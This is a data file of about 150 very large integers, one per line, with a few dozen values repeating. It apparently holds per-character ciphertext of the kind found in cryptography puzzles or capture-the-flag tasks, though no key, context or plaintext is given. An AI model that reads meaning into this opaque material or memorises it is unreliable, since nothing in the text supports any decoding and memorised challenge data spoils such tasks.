18928824824404618546081435030209083267268489418743716085092360940821456571058073610038003667728852565249050914551688677362605878103840934651434075140132384308995728357238735685855259984296884208528911376198941346901774040385519327046561334322491884513919658871624028711808624019905185426957108386637998884956
62801529337830164688667725322013807337730829995283145726245637501724225331664768835038305986060768494873211708381922699272515864262971627208174943851264077906254570161389679470403844058900863238814911592475705518546485028952389529393704650759569972808052161826493176719258661840108823546364212066123810996235
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
89833182957990460554958936422698418439928227266029601028665002136268298013382992483687058262490425052171050802666396404260622968410050788864046121930627826426607645552614605173395336254635950515816665194669152715989802130892055091582637135487785378619311030636138298874397355025350891060593718134018319014543
137750765227550514225702921526079247864945181950754004191279860398297269164774487403668182634889775633528548211091913121574076937323802336081931630718919853334596352699339183080539107020795995910595341832851681150580329849056595009984216610828839413881738202804763231117980603408698112207358492939114134102890
110677020630149274964222916998595829586193824069287520865371017953346184773216488105655358000845529351486948155980877850518774196352113422039136665946726400920026750420146146261266602506979916234889564211609897212151379598070261611636080505933141703724213783681697915813821150968616422671132587656451033246467
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
110677020630149274964222916998595829586193824069287520865371017953346184773216488105655358000845529351486948155980877850518774196352113422039136665946726400920026750420146146261266602506979916234889564211609897212151379598070261611636080505933141703724213783681697915813821150968616422671132587656451033246467
65645897586164484901084724785868138215545914354940822394405500808403468724441166236806972579892634007617499335208431430950189476291370052338014365086681345565540227225026983516086855968280037759361688810908512159517949185685951322885323134278372517254106593980281408943359660796097314972401388661496052678170
84678702049964035127896877368302320193886098455768332363432424605514741777549598765352488664406159741902969536313365615807705807342321003104495852655512915130050188765284239466210113597760303699022312173073258712597100702393539916597625283858275741383340518666315900387591781569580279341955960362957888697189
100611322685874878848754240661495615711646777488831419813503119374511960510535820058228889027763435983724546057947590061551257712702713723012996004563390427396300527089392464643553160988799916035179912848793338088594261441002497827716739663270148287782372738753596682707263125663143832871706325505355756447001
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
133821342606580454431636853618778967721010373114197662891508991682540483266007458846375983314130300445587911282877335750480805649394086463664645319161836413638247650471886879354773317635394640518080390290425806187120049212041979879176975293329368437530104798819774108474920635359521954718055320835228865103287
38842157875943079188185445304579668744732765285296229312069079189604026634975232902567591019360806090163616843896933954511057774277012101804314476185295849622146563538202579085309181093715566609433861522817268155952508279805952520521294438960392472508617643577732121234835368685304804224698356904865781567168
24967305915147448501714803815131082697651323959012327163948924800842151459753928809004140779720650895584635121993194057082316592998717502814441305726429929671294365807644588277045222305190426743608262305501915288920161172031572236684644966814452620598419243254600230442500564630612310314865158125155993279156
78574888085059728932016020355051254845057542027798831380644526738207017271720961248553305239460318463410612543366391692703942160351564248680419156747819835151192908776085072958707819994156968550260014725465711644134609796499853562476328005416616399377266814386729970069757327077942632748554937325751155612617
98072193152871319688837688940847690007375497449437127180342057154848195391486477028582072505559234392497094299334775763771056865590909378050094703548344101458162032536500439758037446538333860663336228719703447923766109850133438244955538517197400462445959770460870119876325281725458020065942886331789259035983
18928824824404618546081435030209083267268489418743716085092360940821456571058073610038003667728852565249050914551688677362605878103840934651434075140132384308995728357238735685855259984296884208528911376198941346901774040385519327046561334322491884513919658871624028711808624019905185426957108386637998884956
78574888085059728932016020355051254845057542027798831380644526738207017271720961248553305239460318463410612543366391692703942160351564248680419156747819835151192908776085072958707819994156968550260014725465711644134609796499853562476328005416616399377266814386729970069757327077942632748554937325751155612617
84678702049964035127896877368302320193886098455768332363432424605514741777549598765352488664406159741902969536313365615807705807342321003104495852655512915130050188765284239466210113597760303699022312173073258712597100702393539916597625283858275741383340518666315900387591781569580279341955960362957888697189
93193845131988228644484899443386837473017866469422349255542037992094227046793693881682979131489608844822784059542911823214294551190035941959174418494660058831653040650832634034284220560765526772070524776041227316124183428503723250186862064463249419845278441607117428255167936507102806898566227917772967961794
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
49753325574865445089772669052891000483752580109613466912771010336607847769281978866460532307952123513083663621765806989683259320224009128424843195798482983529142744938925210736045258659747179875853414003793568639616690520031318358365189672329709227585258829062097623252983992310067500221135568184405349569803
18928824824404618546081435030209083267268489418743716085092360940821456571058073610038003667728852565249050914551688677362605878103840934651434075140132384308995728357238735685855259984296884208528911376198941346901774040385519327046561334322491884513919658871624028711808624019905185426957108386637998884956
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
133821342606580454431636853618778967721010373114197662891508991682540483266007458846375983314130300445587911282877335750480805649394086463664645319161836413638247650471886879354773317635394640518080390290425806187120049212041979879176975293329368437530104798819774108474920635359521954718055320835228865103287
137750765227550514225702921526079247864945181950754004191279860398297269164774487403668182634889775633528548211091913121574076937323802336081931630718919853334596352699339183080539107020795995910595341832851681150580329849056595009984216610828839413881738202804763231117980603408698112207358492939114134102890
62104638576773623684551385680049598287592117406425744400809134407903643583666708272482545534671166621770408289170731318094044339124299554089107205698606709373381797598251478288011978691275803110552617887693282137095804434097831282225624540169317691447722170457236271134204498185177779451706984833572912654051
38842157875943079188185445304579668744732765285296229312069079189604026634975232902567591019360806090163616843896933954511057774277012101804314476185295849622146563538202579085309181093715566609433861522817268155952508279805952520521294438960392472508617643577732121234835368685304804224698356904865781567168
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
137750765227550514225702921526079247864945181950754004191279860398297269164774487403668182634889775633528548211091913121574076937323802336081931630718919853334596352699339183080539107020795995910595341832851681150580329849056595009984216610828839413881738202804763231117980603408698112207358492939114134102890
38842157875943079188185445304579668744732765285296229312069079189604026634975232902567591019360806090163616843896933954511057774277012101804314476185295849622146563538202579085309181093715566609433861522817268155952508279805952520521294438960392472508617643577732121234835368685304804224698356904865781567168
89833182957990460554958936422698418439928227266029601028665002136268298013382992483687058262490425052171050802666396404260622968410050788864046121930627826426607645552614605173395336254635950515816665194669152715989802130892055091582637135487785378619311030636138298874397355025350891060593718134018319014543
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
137750765227550514225702921526079247864945181950754004191279860398297269164774487403668182634889775633528548211091913121574076937323802336081931630718919853334596352699339183080539107020795995910595341832851681150580329849056595009984216610828839413881738202804763231117980603408698112207358492939114134102890
18928824824404618546081435030209083267268489418743716085092360940821456571058073610038003667728852565249050914551688677362605878103840934651434075140132384308995728357238735685855259984296884208528911376198941346901774040385519327046561334322491884513919658871624028711808624019905185426957108386637998884956
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
84678702049964035127896877368302320193886098455768332363432424605514741777549598765352488664406159741902969536313365615807705807342321003104495852655512915130050188765284239466210113597760303699022312173073258712597100702393539916597625283858275741383340518666315900387591781569580279341955960362957888697189
91680348915962244635467280702269071962770849234751203908734508507942563330754312317275898786442433413770569887551943099443991331261278291587321076702444424684302121767202425952384762689618469717236791027569005894172183324909306235069613007499705735183698684035052271555030322776650321910241652531845417895375
91680348915962244635467280702269071962770849234751203908734508507942563330754312317275898786442433413770569887551943099443991331261278291587321076702444424684302121767202425952384762689618469717236791027569005894172183324909306235069613007499705735183698684035052271555030322776650321910241652531845417895375
78574888085059728932016020355051254845057542027798831380644526738207017271720961248553305239460318463410612543366391692703942160351564248680419156747819835151192908776085072958707819994156968550260014725465711644134609796499853562476328005416616399377266814386729970069757327077942632748554937325751155612617
89833182957990460554958936422698418439928227266029601028665002136268298013382992483687058262490425052171050802666396404260622968410050788864046121930627826426607645552614605173395336254635950515816665194669152715989802130892055091582637135487785378619311030636138298874397355025350891060593718134018319014543
84678702049964035127896877368302320193886098455768332363432424605514741777549598765352488664406159741902969536313365615807705807342321003104495852655512915130050188765284239466210113597760303699022312173073258712597100702393539916597625283858275741383340518666315900387591781569580279341955960362957888697189
100611322685874878848754240661495615711646777488831419813503119374511960510535820058228889027763435983724546057947590061551257712702713723012996004563390427396300527089392464643553160988799916035179912848793338088594261441002497827716739663270148287782372738753596682707263125663143832871706325505355756447001
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
137750765227550514225702921526079247864945181950754004191279860398297269164774487403668182634889775633528548211091913121574076937323802336081931630718919853334596352699339183080539107020795995910595341832851681150580329849056595009984216610828839413881738202804763231117980603408698112207358492939114134102890
18928824824404618546081435030209083267268489418743716085092360940821456571058073610038003667728852565249050914551688677362605878103840934651434075140132384308995728357238735685855259984296884208528911376198941346901774040385519327046561334322491884513919658871624028711808624019905185426957108386637998884956
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
52738942978973710444499335094212648235649553500556751113739197966703795929812811872109367849897530719672461613584621227749748743159637124450463765170082743722510939526614783513725649879214102056611979549051428017108970249709601910597007002954025453070108883580204888981915050470487690016926730906263560750604
78574888085059728932016020355051254845057542027798831380644526738207017271720961248553305239460318463410612543366391692703942160351564248680419156747819835151192908776085072958707819994156968550260014725465711644134609796499853562476328005416616399377266814386729970069757327077942632748554937325751155612617
89833182957990460554958936422698418439928227266029601028665002136268298013382992483687058262490425052171050802666396404260622968410050788864046121930627826426607645552614605173395336254635950515816665194669152715989802130892055091582637135487785378619311030636138298874397355025350891060593718134018319014543
18928824824404618546081435030209083267268489418743716085092360940821456571058073610038003667728852565249050914551688677362605878103840934651434075140132384308995728357238735685855259984296884208528911376198941346901774040385519327046561334322491884513919658871624028711808624019905185426957108386637998884956
38842157875943079188185445304579668744732765285296229312069079189604026634975232902567591019360806090163616843896933954511057774277012101804314476185295849622146563538202579085309181093715566609433861522817268155952508279805952520521294438960392472508617643577732121234835368685304804224698356904865781567168
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
110677020630149274964222916998595829586193824069287520865371017953346184773216488105655358000845529351486948155980877850518774196352113422039136665946726400920026750420146146261266602506979916234889564211609897212151379598070261611636080505933141703724213783681697915813821150968616422671132587656451033246467
78574888085059728932016020355051254845057542027798831380644526738207017271720961248553305239460318463410612543366391692703942160351564248680419156747819835151192908776085072958707819994156968550260014725465711644134609796499853562476328005416616399377266814386729970069757327077942632748554937325751155612617
38842157875943079188185445304579668744732765285296229312069079189604026634975232902567591019360806090163616843896933954511057774277012101804314476185295849622146563538202579085309181093715566609433861522817268155952508279805952520521294438960392472508617643577732121234835368685304804224698356904865781567168
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
110677020630149274964222916998595829586193824069287520865371017953346184773216488105655358000845529351486948155980877850518774196352113422039136665946726400920026750420146146261266602506979916234889564211609897212151379598070261611636080505933141703724213783681697915813821150968616422671132587656451033246467
38842157875943079188185445304579668744732765285296229312069079189604026634975232902567591019360806090163616843896933954511057774277012101804314476185295849622146563538202579085309181093715566609433861522817268155952508279805952520521294438960392472508617643577732121234835368685304804224698356904865781567168
24967305915147448501714803815131082697651323959012327163948924800842151459753928809004140779720650895584635121993194057082316592998717502814441305726429929671294365807644588277045222305190426743608262305501915288920161172031572236684644966814452620598419243254600230442500564630612310314865158125155993279156
38842157875943079188185445304579668744732765285296229312069079189604026634975232902567591019360806090163616843896933954511057774277012101804314476185295849622146563538202579085309181093715566609433861522817268155952508279805952520521294438960392472508617643577732121234835368685304804224698356904865781567168
62104638576773623684551385680049598287592117406425744400809134407903643583666708272482545534671166621770408289170731318094044339124299554089107205698606709373381797598251478288011978691275803110552617887693282137095804434097831282225624540169317691447722170457236271134204498185177779451706984833572912654051
137750765227550514225702921526079247864945181950754004191279860398297269164774487403668182634889775633528548211091913121574076937323802336081931630718919853334596352699339183080539107020795995910595341832851681150580329849056595009984216610828839413881738202804763231117980603408698112207358492939114134102890
89833182957990460554958936422698418439928227266029601028665002136268298013382992483687058262490425052171050802666396404260622968410050788864046121930627826426607645552614605173395336254635950515816665194669152715989802130892055091582637135487785378619311030636138298874397355025350891060593718134018319014543
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
137750765227550514225702921526079247864945181950754004191279860398297269164774487403668182634889775633528548211091913121574076937323802336081931630718919853334596352699339183080539107020795995910595341832851681150580329849056595009984216610828839413881738202804763231117980603408698112207358492939114134102890
18928824824404618546081435030209083267268489418743716085092360940821456571058073610038003667728852565249050914551688677362605878103840934651434075140132384308995728357238735685855259984296884208528911376198941346901774040385519327046561334322491884513919658871624028711808624019905185426957108386637998884956
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
137750765227550514225702921526079247864945181950754004191279860398297269164774487403668182634889775633528548211091913121574076937323802336081931630718919853334596352699339183080539107020795995910595341832851681150580329849056595009984216610828839413881738202804763231117980603408698112207358492939114134102890
84678702049964035127896877368302320193886098455768332363432424605514741777549598765352488664406159741902969536313365615807705807342321003104495852655512915130050188765284239466210113597760303699022312173073258712597100702393539916597625283858275741383340518666315900387591781569580279341955960362957888697189
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
62104638576773623684551385680049598287592117406425744400809134407903643583666708272482545534671166621770408289170731318094044339124299554089107205698606709373381797598251478288011978691275803110552617887693282137095804434097831282225624540169317691447722170457236271134204498185177779451706984833572912654051
137750765227550514225702921526079247864945181950754004191279860398297269164774487403668182634889775633528548211091913121574076937323802336081931630718919853334596352699339183080539107020795995910595341832851681150580329849056595009984216610828839413881738202804763231117980603408698112207358492939114134102890
4182669348045269791254444104622750379376825748164589688688917405611067685879473543635386042921454535628915404264820793209948561919050475943517314854567616375314489289931988461469983115038328954579926992023989065641892802210559142402542318857874412395884224371766870024021473348650171148389070499526981719281
78574888085059728932016020355051254845057542027798831380644526738207017271720961248553305239460318463410612543366391692703942160351564248680419156747819835151192908776085072958707819994156968550260014725465711644134609796499853562476328005416616399377266814386729970069757327077942632748554937325751155612617
100611322685874878848754240661495615711646777488831419813503119374511960510535820058228889027763435983724546057947590061551257712702713723012996004563390427396300527089392464643553160988799916035179912848793338088594261441002497827716739663270148287782372738753596682707263125663143832871706325505355756447001
93193845131988228644484899443386837473017866469422349255542037992094227046793693881682979131489608844822784059542911823214294551190035941959174418494660058831653040650832634034284220560765526772070524776041227316124183428503723250186862064463249419845278441607117428255167936507102806898566227917772967961794
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
5773835752867135742860586525565658315475915068619521277950089759587819563536944805510903146409067987340304998621501840196103691201360565427014426065168921252922005079427002966050825114334985040879902482157259153063546013516640746407961509405884392134856989881966012190857396495365396996099827624027096856061
18928824824404618546081435030209083267268489418743716085092360940821456571058073610038003667728852565249050914551688677362605878103840934651434075140132384308995728357238735685855259984296884208528911376198941346901774040385519327046561334322491884513919658871624028711808624019905185426957108386637998884956
137750765227550514225702921526079247864945181950754004191279860398297269164774487403668182634889775633528548211091913121574076937323802336081931630718919853334596352699339183080539107020795995910595341832851681150580329849056595009984216610828839413881738202804763231117980603408698112207358492939114134102890
18928824824404618546081435030209083267268489418743716085092360940821456571058073610038003667728852565249050914551688677362605878103840934651434075140132384308995728357238735685855259984296884208528911376198941346901774040385519327046561334322491884513919658871624028711808624019905185426957108386637998884956
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
91680348915962244635467280702269071962770849234751203908734508507942563330754312317275898786442433413770569887551943099443991331261278291587321076702444424684302121767202425952384762689618469717236791027569005894172183324909306235069613007499705735183698684035052271555030322776650321910241652531845417895375
24967305915147448501714803815131082697651323959012327163948924800842151459753928809004140779720650895584635121993194057082316592998717502814441305726429929671294365807644588277045222305190426743608262305501915288920161172031572236684644966814452620598419243254600230442500564630612310314865158125155993279156
65645897586164484901084724785868138215545914354940822394405500808403468724441166236806972579892634007617499335208431430950189476291370052338014365086681345565540227225026983516086855968280037759361688810908512159517949185685951322885323134278372517254106593980281408943359660796097314972401388661496052678170
18928824824404618546081435030209083267268489418743716085092360940821456571058073610038003667728852565249050914551688677362605878103840934651434075140132384308995728357238735685855259984296884208528911376198941346901774040385519327046561334322491884513919658871624028711808624019905185426957108386637998884956
84678702049964035127896877368302320193886098455768332363432424605514741777549598765352488664406159741902969536313365615807705807342321003104495852655512915130050188765284239466210113597760303699022312173073258712597100702393539916597625283858275741383340518666315900387591781569580279341955960362957888697189
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
19983809701621831135088221996221784300998234690565487842061647521986793674239632248612015804290992839590280719557841141355098145874855168937833787271184484791582836089661751365862495651088974077048520938236610785599994938659130037316606004207376328174173906815136855549837338097232904522744461148710841694256
84678702049964035127896877368302320193886098455768332363432424605514741777549598765352488664406159741902969536313365615807705807342321003104495852655512915130050188765284239466210113597760303699022312173073258712597100702393539916597625283858275741383340518666315900387591781569580279341955960362957888697189
89833182957990460554958936422698418439928227266029601028665002136268298013382992483687058262490425052171050802666396404260622968410050788864046121930627826426607645552614605173395336254635950515816665194669152715989802130892055091582637135487785378619311030636138298874397355025350891060593718134018319014543
110677020630149274964222916998595829586193824069287520865371017953346184773216488105655358000845529351486948155980877850518774196352113422039136665946726400920026750420146146261266602506979916234889564211609897212151379598070261611636080505933141703724213783681697915813821150968616422671132587656451033246467
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
32314742799901071101384886133428561762878684756755055439399732610803575045421300506914675729938880370731413301277310516935885693351870795392533527241001962621829217474952231917355098394642342615154976969537535852030993913375029932439321850592751196788883059868908730597859174877779449712299285641554658928995
78574888085059728932016020355051254845057542027798831380644526738207017271720961248553305239460318463410612543366391692703942160351564248680419156747819835151192908776085072958707819994156968550260014725465711644134609796499853562476328005416616399377266814386729970069757327077942632748554937325751155612617
4182669348045269791254444104622750379376825748164589688688917405611067685879473543635386042921454535628915404264820793209948561919050475943517314854567616375314489289931988461469983115038328954579926992023989065641892802210559142402542318857874412395884224371766870024021473348650171148389070499526981719281
137750765227550514225702921526079247864945181950754004191279860398297269164774487403668182634889775633528548211091913121574076937323802336081931630718919853334596352699339183080539107020795995910595341832851681150580329849056595009984216610828839413881738202804763231117980603408698112207358492939114134102890
62104638576773623684551385680049598287592117406425744400809134407903643583666708272482545534671166621770408289170731318094044339124299554089107205698606709373381797598251478288011978691275803110552617887693282137095804434097831282225624540169317691447722170457236271134204498185177779451706984833572912654051
32314742799901071101384886133428561762878684756755055439399732610803575045421300506914675729938880370731413301277310516935885693351870795392533527241001962621829217474952231917355098394642342615154976969537535852030993913375029932439321850592751196788883059868908730597859174877779449712299285641554658928995
62104638576773623684551385680049598287592117406425744400809134407903643583666708272482545534671166621770408289170731318094044339124299554089107205698606709373381797598251478288011978691275803110552617887693282137095804434097831282225624540169317691447722170457236271134204498185177779451706984833572912654051
137750765227550514225702921526079247864945181950754004191279860398297269164774487403668182634889775633528548211091913121574076937323802336081931630718919853334596352699339183080539107020795995910595341832851681150580329849056595009984216610828839413881738202804763231117980603408698112207358492939114134102890
127834769478164514448657989368832148725913788717323254960364403479177512658943589475906085232130280919139734603553084820947341340394949631963818705830501656689270396348803462168537526657806923603818160774689566455932951541886098644908675874178795070128486781922916272919790827233534695358511424166456147425848
62801529337830164688667725322013807337730829995283145726245637501724225331664768835038305986060768494873211708381922699272515864262971627208174943851264077906254570161389679470403844058900863238814911592475705518546485028952389529393704650759569972808052161826493176719258661840108823546364212066123810996235
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
127834769478164514448657989368832148725913788717323254960364403479177512658943589475906085232130280919139734603553084820947341340394949631963818705830501656689270396348803462168537526657806923603818160774689566455932951541886098644908675874178795070128486781922916272919790827233534695358511424166456147425848
38842157875943079188185445304579668744732765285296229312069079189604026634975232902567591019360806090163616843896933954511057774277012101804314476185295849622146563538202579085309181093715566609433861522817268155952508279805952520521294438960392472508617643577732121234835368685304804224698356904865781567168
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
89833182957990460554958936422698418439928227266029601028665002136268298013382992483687058262490425052171050802666396404260622968410050788864046121930627826426607645552614605173395336254635950515816665194669152715989802130892055091582637135487785378619311030636138298874397355025350891060593718134018319014543
137750765227550514225702921526079247864945181950754004191279860398297269164774487403668182634889775633528548211091913121574076937323802336081931630718919853334596352699339183080539107020795995910595341832851681150580329849056595009984216610828839413881738202804763231117980603408698112207358492939114134102890
84678702049964035127896877368302320193886098455768332363432424605514741777549598765352488664406159741902969536313365615807705807342321003104495852655512915130050188765284239466210113597760303699022312173073258712597100702393539916597625283858275741383340518666315900387591781569580279341955960362957888697189
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
18928824824404618546081435030209083267268489418743716085092360940821456571058073610038003667728852565249050914551688677362605878103840934651434075140132384308995728357238735685855259984296884208528911376198941346901774040385519327046561334322491884513919658871624028711808624019905185426957108386637998884956
84678702049964035127896877368302320193886098455768332363432424605514741777549598765352488664406159741902969536313365615807705807342321003104495852655512915130050188765284239466210113597760303699022312173073258712597100702393539916597625283858275741383340518666315900387591781569580279341955960362957888697189
19983809701621831135088221996221784300998234690565487842061647521986793674239632248612015804290992839590280719557841141355098145874855168937833787271184484791582836089661751365862495651088974077048520938236610785599994938659130037316606004207376328174173906815136855549837338097232904522744461148710841694256
65645897586164484901084724785868138215545914354940822394405500808403468724441166236806972579892634007617499335208431430950189476291370052338014365086681345565540227225026983516086855968280037759361688810908512159517949185685951322885323134278372517254106593980281408943359660796097314972401388661496052678170
100611322685874878848754240661495615711646777488831419813503119374511960510535820058228889027763435983724546057947590061551257712702713723012996004563390427396300527089392464643553160988799916035179912848793338088594261441002497827716739663270148287782372738753596682707263125663143832871706325505355756447001
84678702049964035127896877368302320193886098455768332363432424605514741777549598765352488664406159741902969536313365615807705807342321003104495852655512915130050188765284239466210113597760303699022312173073258712597100702393539916597625283858275741383340518666315900387591781569580279341955960362957888697189
18928824824404618546081435030209083267268489418743716085092360940821456571058073610038003667728852565249050914551688677362605878103840934651434075140132384308995728357238735685855259984296884208528911376198941346901774040385519327046561334322491884513919658871624028711808624019905185426957108386637998884956
84678702049964035127896877368302320193886098455768332363432424605514741777549598765352488664406159741902969536313365615807705807342321003104495852655512915130050188765284239466210113597760303699022312173073258712597100702393539916597625283858275741383340518666315900387591781569580279341955960362957888697189
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
89833182957990460554958936422698418439928227266029601028665002136268298013382992483687058262490425052171050802666396404260622968410050788864046121930627826426607645552614605173395336254635950515816665194669152715989802130892055091582637135487785378619311030636138298874397355025350891060593718134018319014543
84678702049964035127896877368302320193886098455768332363432424605514741777549598765352488664406159741902969536313365615807705807342321003104495852655512915130050188765284239466210113597760303699022312173073258712597100702393539916597625283858275741383340518666315900387591781569580279341955960362957888697189
127834769478164514448657989368832148725913788717323254960364403479177512658943589475906085232130280919139734603553084820947341340394949631963818705830501656689270396348803462168537526657806923603818160774689566455932951541886098644908675874178795070128486781922916272919790827233534695358511424166456147425848
91680348915962244635467280702269071962770849234751203908734508507942563330754312317275898786442433413770569887551943099443991331261278291587321076702444424684302121767202425952384762689618469717236791027569005894172183324909306235069613007499705735183698684035052271555030322776650321910241652531845417895375
18928824824404618546081435030209083267268489418743716085092360940821456571058073610038003667728852565249050914551688677362605878103840934651434075140132384308995728357238735685855259984296884208528911376198941346901774040385519327046561334322491884513919658871624028711808624019905185426957108386637998884956
78574888085059728932016020355051254845057542027798831380644526738207017271720961248553305239460318463410612543366391692703942160351564248680419156747819835151192908776085072958707819994156968550260014725465711644134609796499853562476328005416616399377266814386729970069757327077942632748554937325751155612617
89833182957990460554958936422698418439928227266029601028665002136268298013382992483687058262490425052171050802666396404260622968410050788864046121930627826426607645552614605173395336254635950515816665194669152715989802130892055091582637135487785378619311030636138298874397355025350891060593718134018319014543
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
137750765227550514225702921526079247864945181950754004191279860398297269164774487403668182634889775633528548211091913121574076937323802336081931630718919853334596352699339183080539107020795995910595341832851681150580329849056595009984216610828839413881738202804763231117980603408698112207358492939114134102890
89833182957990460554958936422698418439928227266029601028665002136268298013382992483687058262490425052171050802666396404260622968410050788864046121930627826426607645552614605173395336254635950515816665194669152715989802130892055091582637135487785378619311030636138298874397355025350891060593718134018319014543
18928824824404618546081435030209083267268489418743716085092360940821456571058073610038003667728852565249050914551688677362605878103840934651434075140132384308995728357238735685855259984296884208528911376198941346901774040385519327046561334322491884513919658871624028711808624019905185426957108386637998884956
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
133604854587983782426336851966055180766137238380213738755612754580571873477141746262470197566499595456763533768810119497776657303036926536439596312800476267916952408133055363765789592858440156479910321961287737605889088257914313717722526470918375313652500001060195495792645858466367996395114867945227571389228
38842157875943079188185445304579668744732765285296229312069079189604026634975232902567591019360806090163616843896933954511057774277012101804314476185295849622146563538202579085309181093715566609433861522817268155952508279805952520521294438960392472508617643577732121234835368685304804224698356904865781567168
62104638576773623684551385680049598287592117406425744400809134407903643583666708272482545534671166621770408289170731318094044339124299554089107205698606709373381797598251478288011978691275803110552617887693282137095804434097831282225624540169317691447722170457236271134204498185177779451706984833572912654051
137750765227550514225702921526079247864945181950754004191279860398297269164774487403668182634889775633528548211091913121574076937323802336081931630718919853334596352699339183080539107020795995910595341832851681150580329849056595009984216610828839413881738202804763231117980603408698112207358492939114134102890
100611322685874878848754240661495615711646777488831419813503119374511960510535820058228889027763435983724546057947590061551257712702713723012996004563390427396300527089392464643553160988799916035179912848793338088594261441002497827716739663270148287782372738753596682707263125663143832871706325505355756447001
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
65645897586164484901084724785868138215545914354940822394405500808403468724441166236806972579892634007617499335208431430950189476291370052338014365086681345565540227225026983516086855968280037759361688810908512159517949185685951322885323134278372517254106593980281408943359660796097314972401388661496052678170
98072193152871319688837688940847690007375497449437127180342057154848195391486477028582072505559234392497094299334775763771056865590909378050094703548344101458162032536500439758037446538333860663336228719703447923766109850133438244955538517197400462445959770460870119876325281725458020065942886331789259035983
89833182957990460554958936422698418439928227266029601028665002136268298013382992483687058262490425052171050802666396404260622968410050788864046121930627826426607645552614605173395336254635950515816665194669152715989802130892055091582637135487785378619311030636138298874397355025350891060593718134018319014543
78574888085059728932016020355051254845057542027798831380644526738207017271720961248553305239460318463410612543366391692703942160351564248680419156747819835151192908776085072958707819994156968550260014725465711644134609796499853562476328005416616399377266814386729970069757327077942632748554937325751155612617
